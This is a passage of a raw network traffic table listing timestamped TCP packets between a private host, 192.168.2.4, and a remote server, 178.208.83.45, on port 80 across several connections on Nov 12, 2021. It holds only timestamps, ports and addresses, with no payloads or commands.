Nov 12, 2021 22:23:09.348423958 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.348532915 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.348656893 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.348670959 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.348684072 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.348757982 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.348782063 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.348834038 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.348854065 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.348874092 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.348941088 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.371464014 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.371484995 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.371493101 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.371500969 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.371510029 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.371567965 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.371578932 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.371587038 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.371639967 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.371745110 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.371803045 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.371840954 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.371916056 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.373362064 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.394191027 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.394217968 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.394226074 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.394237995 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.394249916 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.394263029 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.394273996 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.394280910 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.394313097 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.394315958 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.394346952 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.394349098 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.394351006 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.394351006 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.394352913 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.394361973 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.394373894 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.394386053 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.394403934 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.394407034 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.394407988 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.394433975 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.394437075 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.394462109 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.394464970 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.394469976 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.394478083 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.394500971 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.394525051 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.394562006 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.394572973 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.394613028 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:09.394619942 CET	80	49788	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:09.394655943 CET	49788	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.243504047 CET	49789	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.265916109 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.266019106 CET	49789	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.300755024 CET	49789	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.300961018 CET	49789	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.301270962 CET	49789	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.301553965 CET	49789	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.323381901 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.323407888 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.323450089 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.323540926 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.323591948 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.323601961 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.323626041 CET	49789	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.323682070 CET	49789	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.323715925 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.323730946 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.323738098 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.323750973 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.323781967 CET	49789	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.323822975 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.323827982 CET	49789	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.323836088 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.323873997 CET	49789	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.323915958 CET	49789	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.346138000 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.346172094 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.346180916 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.346189976 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.346201897 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.346257925 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.346270084 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.346278906 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.346291065 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.346317053 CET	49789	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.346404076 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.346416950 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.346427917 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.346440077 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.346451998 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.346462011 CET	49789	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.346462965 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.346474886 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.346487045 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.346487999 CET	49789	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.346499920 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.346514940 CET	49789	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.346560001 CET	49789	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.346605062 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.369879961 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.370399952 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.370465994 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.370481968 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.370495081 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.370518923 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.370532036 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.370543957 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.370588064 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.370599985 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.370611906 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.370623112 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.370635986 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.370646954 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.370929956 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.370944977 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.370958090 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.370970964 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.370982885 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.370990992 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.371001959 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.371015072 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.371026993 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.371037960 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.371049881 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.371061087 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.371073008 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.371084929 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.371095896 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.372773886 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.372832060 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.373045921 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.373200893 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.419205904 CET	49789	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.421370983 CET	49789	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.421420097 CET	49789	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.421432972 CET	49789	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.441730976 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.441773891 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.441801071 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.441827059 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.441852093 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.441879034 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.443741083 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.443778038 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.443804026 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.443833113 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.443860054 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.443911076 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.443938017 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.443964005 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.443994045 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.444020033 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.444061041 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.444087982 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.444113016 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.446185112 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.446271896 CET	49789	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.879477024 CET	49789	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.881520987 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.901935101 CET	80	49789	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.901998043 CET	49789	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.904068947 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.904197931 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.904764891 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.904947042 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.905127048 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.905235052 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.928025007 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.928056955 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.928543091 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.928564072 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.928575993 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.928633928 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.928689957 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.929517984 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.929542065 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.929558992 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.929577112 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.929593086 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.929594994 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.929609060 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.929625034 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.929625988 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.929673910 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.929692030 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.951293945 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.951338053 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.951381922 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.951384068 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.951397896 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.951411009 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.951421022 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.951452017 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.951505899 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.952023983 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.952050924 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.952063084 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.952100039 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.952136993 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.953424931 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.953438997 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.953447104 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.953455925 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.953464985 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.953479052 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.953490973 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.953502893 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.953515053 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.953526974 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.953558922 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.953629971 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.973938942 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.973961115 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.974041939 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.974117994 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.974431992 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.974469900 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.974483967 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.974503040 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.974520922 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.974556923 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.974560976 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.974575043 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.974585056 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.974592924 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.974601030 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.974608898 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.974617004 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.974625111 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.974662066 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.974669933 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.974704981 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.974713087 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.974720955 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.974785089 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:11.976063013 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.976100922 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.976114035 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.976140976 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.976154089 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.976166964 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.976178885 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.976214886 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.976258993 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.976270914 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.976281881 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.976294994 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.976346016 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.976361990 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.976377964 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.976396084 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.976409912 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.976460934 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.976499081 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.976538897 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.996601105 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.996673107 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.997160912 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:11.997267962 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.000835896 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.089663029 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.754297972 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.756001949 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.776943922 CET	80	49790	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.777105093 CET	49790	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.778614044 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.778723955 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.779541969 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.779721022 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.779939890 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.780093908 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.803122997 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.803165913 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.803203106 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.803241968 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.803266048 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.803283930 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.803297997 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.803307056 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.803343058 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.803437948 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.803688049 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.803728104 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.803755045 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.803765059 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.803777933 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.803805113 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.803821087 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.803849936 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.803953886 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.825855017 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.825891972 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.825908899 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.825923920 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.825965881 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.825997114 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.825997114 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.826014996 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.826070070 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.826277971 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.826306105 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.826353073 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.826358080 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.826366901 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.826374054 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.826397896 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.826428890 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.826438904 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.826493025 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.826512098 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.826551914 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.826606035 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.826627970 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.826631069 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.826673031 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.826685905 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.826694965 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.826730967 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.826745987 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.826766014 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.826798916 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.826800108 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.826838017 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.826859951 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.826900959 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.826917887 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.827013016 CET	49791	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:13.848702908 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.848738909 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.848762035 CET	80	49791	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:13.848783016 CET	80	49791	178.208.83.45	192.168.2.4
